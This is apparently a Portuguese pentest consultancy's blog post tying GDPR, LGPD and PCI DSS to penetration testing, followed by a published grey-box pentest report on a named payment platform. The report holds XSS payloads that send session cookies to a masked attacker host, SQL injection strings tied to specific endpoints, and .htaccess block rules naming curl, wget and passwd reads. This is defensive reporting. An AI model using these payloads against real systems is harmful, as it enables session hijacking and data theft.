Categoria: Segurança Ofensiva
Pentest e GDPR e LGPD
À primeira vista, o GDPR pode parecer que não tem muito a ver com testes de intrusão, entretanto de acordo com o Artigo 32 da GDPR: “(D) um processo para testar, avaliar e avaliar regularmente a eficácia das medidas técnicas e organizacionais para garantir a segurança do processamento.
Isso é vago, pois não define especificamente o que deve ser testado regularmente. Uma regra prática é que qualquer sistema ou aplicativo que toque dados pessoais. Se o Artigo 32 não é razão suficiente para entender por que o teste de intrusão é um fator importante de segurança do GDPR, a revelação obrigatória da violação deve ser um incentivo suficiente. Os dias de atraso na divulgação de violações acabaram, já que você deve anunciar um incidente dentro de 72 horas após a descoberta. Os testes de intrusão podem descobrir vulnerabilidades ou possíveis violações antes de qualquer outra pessoa, o que acaba lhe poupando a dor da divulgação de violações.
O GDPR criará a razão perfeita para fazer testes regulares de intrusão, mas, quando se trata de testes de intrusão, é útil para qualquer equipe. A maioria dos profissionais de segurança pode se relacionar com a placa completa que os outros no setor têm. Além de apenas identificar vulnerabilidades antes da exploração no mundo real, os testes de intrusão ajudam as equipes a priorizar as correções de segurança com base na gravidade e no impacto de diferentes descobertas.
Além de quaisquer requisitos específicos, o GDPR tem severas penalidades por uma violação de segurança, com organizações que enfrentam penalidades de até 20 milhões de euros, ou 4 por cento do faturamento anual global, o que for maior. Com impactos financeiros, controles proativos pesados e completos são essenciais.
Da mesma forma a LGPD (Lei Geral de Proteção de Dados), exige certos cuidados e relatórios de conformidade. O Pentest (teste de intrusão) poderá fornecer provas antecipadas para as empresas, bem como aumentar significativamente a segurança de seu ambiente.
Uma empresa que declare que possui testes de intrusão sendo executados regularmente, certamente irá ter um grande diferencial e sair na frente, passando mais confiança aos seus clientes, colaboradores, investidores, etc...
No final de 2018, uma empresa online, chamada GALAXPAY, que trata pagamentos recorrentes e outras operações financeiras, entrou em contato para que fosse executado um Pentest, para validar a conformidade com o PCI. Sendo assim, a empresa além de estar em conformidade com o PCI também estará um passo a frente nas questões de segurança, incluindo também, os requisitos mínimos para a LGPD.
Os objetivos do Pentest (teste de intrusão) para o PCI são:
1. Para determinar se e como um usuário mal-intencionado pode obter acesso não autorizado a ativos que afetam a segurança fundamental do sistema, arquivos, logs e/ou dados do portador do cartão.
2. Para confirmar se os controles aplicáveis, como escopo, gerenciamento de vulnerabilidades, metodologia e segmentação, necessária no PCI DSS estão em vigor.
Existem três tipos de testes de intrusão: caixa preta, caixa branca e caixa cinza. Em uma avaliação de caixa preta, o cliente não fornece informações antes do início do teste. Em uma avaliação de caixa branca, a entidade pode fornecer ao testador de intrusão detalhes completos e completos da rede e dos aplicativos. Para caixa cinza avaliações, a entidade pode fornecer detalhes parciais dos sistemas alvo. Os testes de intrusão do PCI DSS são normalmente executado como avaliações de caixa branca ou caixa cinza. Esses tipos de avaliações geram mais resultados precisos e fornecer um teste mais abrangente da postura de segurança do ambiente do que avaliação de caixa preta pura. Avaliações de caixa preta oferecem muito pouco em termos de valor para o PCI DSS testes de intrusão, já que a entidade não fornece detalhes dos sistemas alvo antes do início do teste, o teste pode exigir mais tempo, dinheiro e recursos para executar.
Como um teste de intrusão difere de uma verificação de vulnerabilidade?
As diferenças entre o teste de intrusão e a verificação de vulnerabilidades, conforme exigido pelo PCI DSS, ainda causam confusão dentro da indústria. As diferenças podem ser resumidas da seguinte forma:
Fonte: https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf
O que eles testam? Há uma diferença notável aqui, pois as verificações de vulnerabilidades identificam, classificam e relatam vulnerabilidades de segurança que, se exploradas, podem comprometer intencionalmente ou não um sistema; testes de intrusão identificam maneiras de explorar vulnerabilidades e superar os recursos de segurança dos componentes do sistema.
Como eles são conduzidos? As verificações de vulnerabilidades geralmente são feitas por ferramentas automatizadas, elas normalmente relatam os possíveis riscos representados por problemas conhecidos e podem ser concluídas em um período de tempo relativamente curto (vários segundos a vários minutos); Os testes de intrusão incluem testes manuais e descrevem cada vulnerabilidade e potencial risco descoberto, e são muito informativos e podem levar dias ou semanas para serem concluídos.
Quando eles devem ser conduzidos? De acordo com o PCI DSS, as varreduras de vulnerabilidade são exigidas pelo menos trimestralmente e após qualquer alteração significativa na rede; testes de intrusão são necessários anualmente e após qualquer alteração significativa na rede (o PCI DSS define uma “alteração significativa” como qualquer atualização ou modificação de infraestrutura ou instalação de novo componente do sistema).
Payment Card Industry Data Security Standard version 3.0
compliance report
Descrição
O Padrão de Segurança de Dados do Setor de Cartões de Pagamento (PCI DSS) foi desenvolvido para incentivar e aprimorar a segurança dos dados do titular do cartão e facilitar a ampla adoção de medidas consistentes de segurança de dados globalmente. O PCI DSS fornece uma linha de base de requisitos técnicos e operacionais projetados para proteger os dados do portador do cartão. O PCI DSS aplica-se a todas as entidades envolvidas no processamento de cartões de pagamento, incluindo comerciantes, processadores, adquirentes, emissores e provedores de serviços, bem como todas as outras entidades que armazenam, processam ou transmitem dados de titulares de cartão (CHD) e/ou dados de autenticação confidenciais (SAD).
Aviso legal
Este documento ou qualquer de seus conteúdos não pode contabilizar ou ser incluído em qualquer forma de aconselhamento jurídico. O resultado de uma varredura de vulnerabilidade (ou avaliação de segurança) deve ser utilizado para garantir que medidas diligentes sejam tomadas para reduzir o risco de possíveis explorações realizadas para comprometer os dados.
A assessoria jurídica deve ser fornecida de acordo com seu contexto legal. Todas as leis e os ambientes nos quais elas são aplicadas são constantemente alteradas e revisadas. Portanto, nenhuma informação fornecida neste documento pode ser usada como uma alternativa a um corpo legal ou representante qualificado.
Este documento foi gerado usando informações fornecidas em "Payment Card Industry Data Security Standard Version 3.0", that can be found at https://www.pcisecuritystandards.org/documents/PCI_DSS_v3.pdf. Você pode consultar também o documento para Pentesters: https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf.
Scan
URL: https://app.galaxpay.com.br:443/
Data: 10/26/2018
Modelo: Grey Box
Conformidade
Esta seção do relatório é um resumo e lista o número de alertas encontrados de acordo com as categorias de conformidade individuais.
- Do not disclose private IP addresses and routing information to unauthorized parties (Requirement 1.3.8)
No alerts in this category
- Always change vendor-supplied defaults and remove or disable unnecessary default accounts before installing a system on the network (Requirement 2.1)
Total number of alerts in this category: 3
- Enable only necessary and secure services, protocols, daemons, etc (Requirement 2.2.2)
No alerts in this category
- Configure system security parameters (Requirement 2.2.4)
Total number of alerts in this category: 4
- Remove all unnecessary functionality (Requirement 2.2.5)
No alerts in this category
- Encrypt all non-console administrative access (Requirement 2.3)
No alerts in this category
- Encrypt transmission of cardholder data across open, public networks (Requirement 4)
No alerts in this category
- Use strong cryptography and security protocols (Requirement 4.1)
No alerts in this category
- Develop and maintain secure systems and applications (Requirement 6)
No alerts in this category
- Ensure that all system components and software are protected from known vulnerabilities by having the latest vendor-supplied security patches installed (Requirement 6.2)
No alerts in this category
- Separate development/test environments from production environments, and enforce the separation with access controls (Requirement 6.4.1)
No alerts in this category
- Removal of test data and accounts before production systems become active (Requirement 6.4.4)
No alerts in this category
- Injection flaws (Requirement 6.5.1)
No alerts in this category
- Buffer overflow (Requirement 6.5.2)
No alerts in this category
- Insecure cryptographic storage (Requirement 6.5.3)
No alerts in this category
- Insecure communications (Requirement 6.5.4)
No alerts in this category
- Improper error handling (Requirement 6.5.5)
No alerts in this category
- Cross-site scripting (XSS) (Requirement 6.5.7)
No alerts in this category
- Improper Access Control (Requirement 6.5.8)
No alerts in this category
- Cross Site Request Forgery (CSRF) (Requirement 6.5.9)
No alerts in this category
- Broken authentication and session management (Requirement 6.5.10)
No alerts in this category
- Limit repeated access attempts by locking out the user ID after not more than six attempts (Requirement 8.1.6)
No alerts in this category
- Render all authentication credentials unreadable during transmission and storage (Requirement 8.2.1)
No alerts in this category
- Limit repeated access attempts (Requirement 8.5.13)
No alerts in this category
Identificação do alvo
Sistema de pagamentos on-line app.galaxpay.com.br mantido e comercializado pela empresa GALAXPAY instalado no ambiente de rede da empresa GALAXPAY. Todos os testes são executados on-line no domínio app.galaxpay.com.br.
Ferramentas de análise
A – nmap
B – BurpSuite
C – sqlmap
D – OWASP ZAP
Método de investigação e análise
A – Efetuado testes automáticos por meio das ferramentas citadas.
B – Efetuado testes manuais para a prova de conceito das vulnerabilidades.
C – Uso de credenciais de acesso, (nível comum) e (nível administrador).
Aplicação e resultado
Com base nos resultados obtidos por meio da varredura automática com o auxílio da ferramenta OWASP ZAP, que por sua vez mostrou um maior número de respostas em um relatório mais completo, foi possível atestar por meios manuais a veracidade das falhas encontradas, atendo-se somente a algumas das falhas qualificadas no relatório como alto risco.
Para a realização da prova de conceito, foi utilizado o software BurpSuite, que permite a execução passo a passo do sistema, podendo assim de forma mais rápida e eficiente testar os parâmetros escolhidos pelo Pentester no ato da análise. O escopo da análise está baseado no OWASP TOP 10 de 2013.
| A1 – Injeção | As falhas de Injeção, tais como injeção de SQL, de SO (Sistema Operacional) e de LDAP, ocorrem quando dados não confiavéis são enviados para um interpretador como parte de um comando ou consulta. Os dados manipulados pelo atacante podem iludir o interpretador para que este execute comandos indesejados ou permita o acesso a dados não autorizados. |
| A2 – Quebra de Autenticação e Gerenciamento de Sessão | As funções da aplicação relacionadas com autenticação e gerenciamento de sessão geralmente são implementadas de forma incorreta, permitindo que os atacantes comprometam senhas, chaves e tokens de sessão ou, ainda, explorem outra falha da implementação para assumir a identidade de outros usuários. |
| A3 – Cross-Site Scripting (XSS) | Falhas XSS ocorrem sempre que uma aplicação recebe dados não confiáveis e os envia ao navegador sem validação ou filtro adequados. XSS permite aos atacantes executarem scripts no navegador da vítima que podem “sequestrar” sessões do usuário, desfigurar sites, ou redirecionar o usuário para sites maliciosos. |
| A4 – Referência Insegura e Direta a Objetos | Uma referência insegura e direta a um objeto ocorre quando um programador expõe uma referência à implementação interna de um objeto, como um arquivo, diretório, ou registro da base de dados. Sem a verificação do controle de acesso ou outra proteção, os atacantes podem manipular estas referências para acessar dados não-autorizados. |
| A5 – Configuração Incorreta de Segurança | Uma boa segurança exige a definição de uma configuração segura e implementada na aplicação, frameworks, servidor de aplicação, servidor web, banco de dados e plataforma. Todas essas configurações devem ser definidas, implementadas e mantidas, já que geralmente a configuração padrão é insegura. Adicionalmente, o software deve ser mantido atualizado. |
| A6 – Exposição de Dados Sensíveis | Muitas aplicações web não protegem devidamente os dados sensíveis, tais como cartões de crédito, IDs fiscais e credenciais de autenticação. Os atacantes podem roubar ou modificar esses dados desprotegidos com o propósito de realizar fraudes de cartões de crédito, roubo de identidade, ou outros crimes. Os dados sensíveis merecem proteção extra como criptografia no armazenamento ou em trânsito, bem como precauções especiais quando trafegadas pelo navegador. |
| A7 – Falta de Função para Controle do Nível de Acesso | A maioria das aplicações web verificam os direitos de acesso em nível de função antes de tornar essa funcionalidade visível na interface do usuário. No entanto, as aplicações precisam executar as mesmas verificações de controle de acesso no servidor quando cada função é invocada. Se estas requisições não forem verificadas, os atacantes serão capazes de forjar as requisições, com o propósito de acessar a funcionalidade sem autorização adequada. |
| A8 – Cross-Site Request Forgery (CSRF) | Um ataque CSRF força a vítima que possui uma sessão ativa em um navegador a enviar uma requisição HTTP forjada, incluindo o cookie da sessão da vítima e qualquer outra informação de autenticação incluída na sessão, a uma aplicação web vulnerável. Esta falha permite ao atacante forçar o navegador da vítima a criar requisições que a aplicação vulnerável aceite como requisições legítimas realizadas pela vítima. |
| A9 – Utilização de Componentes Vulneráveis Conhecidos | Componentes, tais como bibliotecas, frameworks, e outros módulos de software quase sempre são executados com privilégios elevados. Se um componente vulnerável é explorado, um ataque pode causar sérias perdas de dados ou o comprometimento do servidor. As aplicações que utilizam componentes com vulnerabilidades conhecidas podem minar as suas defesas e permitir uma gama de possíveis ataques e impactos. |
| A10 – Redirecionamentos e Encaminhamentos Inválidos | Aplicações web frequentemente redirecionam e encaminham usuários para outras páginas e sites, e usam dados não confiáveis para determinar as páginas de destino. Sem uma validação adequada, os atacantes podem redirecionar as vítimas para sites de phishing ou malware, ou usar encaminhamentos para acessar páginas não autorizadas. |
Com base nos testes realizados seguindo rigorosamente o escopo definido, conforme tabela acima OWASP TOP 10, foi possível elaborar a matriz de riscos. Os tópicos foram avaliados de acordo com o ramo de negócios da empresa.
Devido ao alto teor de confidencialidade, as técnicas e vulnerabilidades apresentadas neste documento, estão sob responsabilidade total de Márcio Vinícius, representante legal da GALAXPAY, o mesmo está ciente de que o vazamento destas informações pode acarretar danos morais, legais e financeiros irreparáveis para ambas as partes.
Resultado
Aqui são apresentados os resultados da prova de conceito, onde os testes manuais são feitos para comprovar a possibilidade de exploração das vulnerabilidades.
| Formulários HTML sem proteção contra CSRF | |
| Referência | CWE-352 |
| A falsificação de solicitação entre sites, também conhecida como ataque ou sessão com um clique e abreviada como CSRF ou XSRF, é um tipo de exploração maliciosa de um site na qual comandos não autorizados são transmitidos de um usuário que o site confia. Detalhes em: https://periciacomputacional.com/csrf-attacks-xsrf-ou-sea-surf/
Obs: todas as URL’s existentes no sistema deverão ser verificadas, as URL’s listadas abaixo foram testadas e confirmam a vulnerabilidades. Não foram testadas todas as URL’s existentes no sistema pois o método de correção e prevenção é o mesmo para todas, sendo assim, fica a cargo do desenvolvedor aplicar a correção em TODAS. |
|
| URL’s | |
| /alterar-notificacao/38
/alterar-plano/2 /alterar-senha /cadastrar-cliente /cadastrar-contrato-venda /cadastrar-contrato-venda/plano/4 /cadastrar-plano /cadastrar-usuario /configuracoes-boleto/configuracoes |
|
 |
|
| XSS Persistente | |
| Referência | CWE-79 |
| As falhas de XSS ocorrem sempre que um aplicativo recebe dados fornecidos pelo usuário e os envia a um navegador da Web sem primeiro validar ou codificar esse conteúdo. O XSS permite que atacantes executem scripts no navegador da vítima, o que pode sequestrar sessões de usuários, desfigurar sites, possivelmente introduzir worms, etc. Detalhes em: https://cwe.mitre.org/data/definitions/79.html
Obs: todas as URL’s e campos dos formulários existentes no sistema deverão ser verificados. Não foram testados todos os formulários existentes no sistema pois o método de correção e prevenção é o mesmo para todos, sendo assim, fica a cargo do desenvolvedor aplicar a correção em TODAS. |
|
| URL’s, Formulários e campos | |
| /alterar-plano/27
/alterar-plano/28 /notificacao-geral |
|
| Payloads | |
| Campo id_integracao em /alterar-plano
Payload 1: "><br><iframe src="https://xxxxxxxxxxxxxxxxxxxxxxxxxx/getcookie.php?cookie="+document.cookie;></iframe> Payload 2: "><br><iframe src="https://app.galaxpay.com.br/notificacao-geral"></iframe> Corpo das notificações de e-mail em /notificação-geral Payload 3: "><img src="x" onerror="alert(document.cookie);"><script>setTimeout("location.href = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxx/getcookie.php?cookie='+document.cookie;",15000);</script> |
|
Imagem 1: Payload 3 – obtém o cookie do usuário logado e direciona para o site do atacante.
Imagem 4: Scripts injetados nos campos, um pouco de deface. Como o ataque XSS é persistente, ou seja, gravado no banco de dados, então cada vez que for carregado em algum lugar na tela, o script será executado. Como é possível observar na imagem, ainda é possível causar um deface, ou descaracterização da tela.
Imagem 6: Código injetado por meio do arquivo excel para importação de clientes.
|
|
Imagem 2: Payload 2 – efetua o redirecionamento para /notificação-geral por meio de um iframe, gravando a sessão do usuário no arquivo de log do atacante.
Imagem 3: iframe carregado, após 15 segundos chamará a url que irá gravar o cookie no log do atacante.
Imagem 5: Cookie gravado no arquivo de log do atacante.
| SQL Injection | |||
| Referência | CWE-89 | ||
| A injeção de comandos SQL pode ser possível, conforme identificado automaticamente pelo OWASP ZAP.
Obs: por via das dúvidas é recomendado que os parâmetros SQL sejam verificados, bem como a validação dos campos. |
|||
| URL’s | |||
| https://app.galaxpay.com.br/contract-sale-list-ajax/active | |||
| Parâmetros | |||
| URL | https://app.galaxpay.com.br/contract-sale-list-ajax/active | ||
| Method | POST | ||
| Parameter | columns[2][data] | ||
| Attack | 2' OR '1'='1' -- | ||
| URL | https://app.galaxpay.com.br/plan-list-ajax/inactive | ||
| Method | POST | ||
| Parameter | columns[1][search][regex] | ||
| Attack | false' OR '1'='1' -- | ||
| Recomendações | |||
| Não confie na entrada vinda do lado cliente, mesmo se houver uma validação deste lado.
Em geral, valide todos os dados no lado servidor. Se a aplicação utilizar JDBC, utilize PreparedStatement ou CallableStatement com os parâmetros passados por '?' Se a aplicação utilizar ASP, utilize o ADO Command Objects com verificação forte de tipagem e consultas parametrizadas. Se for possível utilizar Stored Procedures, use-os. NÃO concatene strings nas consultas dentro dos Stored Procedures ou use 'exec', 'exec immediate' ou função equivalente! Não crie consultas SQL dinâmicas utilizando concatenação simples de strings. Sanitize todos os dados recebidos do cliente. Aplique uma 'whitelist' de caracteres permitidos ou uma 'blacklist' com os caracteres proibidos na entrada dos usuários. Aplique o princípio do privilégio mínimo ao ter o usuário do banco de dados com as menores permissões necessárias para uso do sistema. Em particular, evite o uso dos usuários 'sa' e 'db-owner'. Isto não elimina a injeção SQL, mas minimiza seu impacto. Garante o mínimo acesso a base de dados que for necessária para cada aplicação. |
|||
Identificação de WAF (Web Application Firewall)
Recomendações
É altamente recomendável o procedimento de desenvolvimento de software seguro ou S-SDLC (Secure Software Development Life Cicle).
Efetuar Hardening do servidor como um todo.
Deve-se implementar dispositivos de proteção como WAF, IDS/IPS/HIDS.
# Anti XSS
<IfModule mod_rewrite.c>
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F,L]
</IfModule>
# Don't allow any pages to be framed - Defends against CSRF
Header set X-Frame-Options DENY
# Turn on IE8-IE9 XSS prevention tools
Header set X-XSS-Protection "1; mode=block"
# Only allow JavaScript from the same domain to be run.
# Don't allow inline JavaScript to run.
Header set X-Content-Security-Policy "allow 'self';"
# prevent mime based attacks
Header set X-Content-Type-Options "nosniff"
.htaccess contra injeções do MySQL e outros hacks
As tentativas de injeção do MySQL são um dos ataques de hackers mais comuns contra sites PHP. Se o seu site estiver hospedado em um servidor dedicado ou virtual, a melhor solução será o seu servidor ser endurecido com as regras apropriadas do mod_security. No entanto, se você estiver em hospedagem compartilhada, isso não é uma opção. Se você acha que não é possível proteger seu site contra vários métodos de invasão em hospedagem compartilhada, está errado.
Embora não seja possível usar estratégias avançadas para proteger seu site, você ainda pode protegê-lo contra tentativas de hackers usando regras de .htaccess. Para implementar essa proteção, anexe seu arquivo .htaccess atual com o código a seguir, ou crie um novo arquivo chamado .htaccess, se você ainda não usa, e coloque-o na pasta principal do seu site. Bloquear ataques do tipo SQL Injection no htaccess, não suprime a necessidade de revalidar a aplicação.
#####################################################
# No web server version and indexes
ServerSignature Off
Options -Indexes
# Enable rewrite engine
RewriteEngine On
# Block suspicious request methods
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK|DEBUG) [NC]
RewriteRule ^(.*)$ - [F,L]
# Block WP timthumb hack
RewriteCond %{REQUEST_URI} (timthumb\.php|phpthumb\.php|thumb\.php|thumbs\.php) [NC]
RewriteRule . - [S=1]
# Block suspicious user agents and requests
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|wget|python|nikto|curl|scan|java|winhttp|clshttp|loader) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (;|<|>|'|"|\)|\(|%0A|%0D|%22|%27|%28|%3C|%3E|%00).*(libwww-perl|wget|python|nikto|curl|scan|java|winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]
RewriteCond %{THE_REQUEST} \?\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} \/\*\ HTTP/ [NC,OR]
RewriteCond %{THE_REQUEST} etc/passwd [NC,OR]
RewriteCond %{THE_REQUEST} cgi-bin [NC,OR]
RewriteCond %{THE_REQUEST} (%0A|%0D) [NC,OR]
# Block MySQL injections, RFI, base64, etc.
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC,OR]
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC,OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.) [OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^i]*i)+frame.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>).* [NC,OR]
RewriteCond %{QUERY_STRING} (NULL|OUTFILE|LOAD_FILE) [OR]
RewriteCond %{QUERY_STRING} (\./|\../|\.../)+(motd|etc|bin) [NC,OR]
RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} (;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|drop|delete|update|cast|create|char|convert|alter|declare|order|script|set|md5|benchmark|encode) [NC,OR]
RewriteCond %{QUERY_STRING} (sp_executesql) [NC]
RewriteRule ^(.*)$ - [F,L]
# Deny browser access to config files
Order allow,deny
Deny from all
#Allow from 1.2.3.4
A medida que for aplicando as medidas de proteção, é necessário testar cada tela novamente para garantir que o sistema estará operante.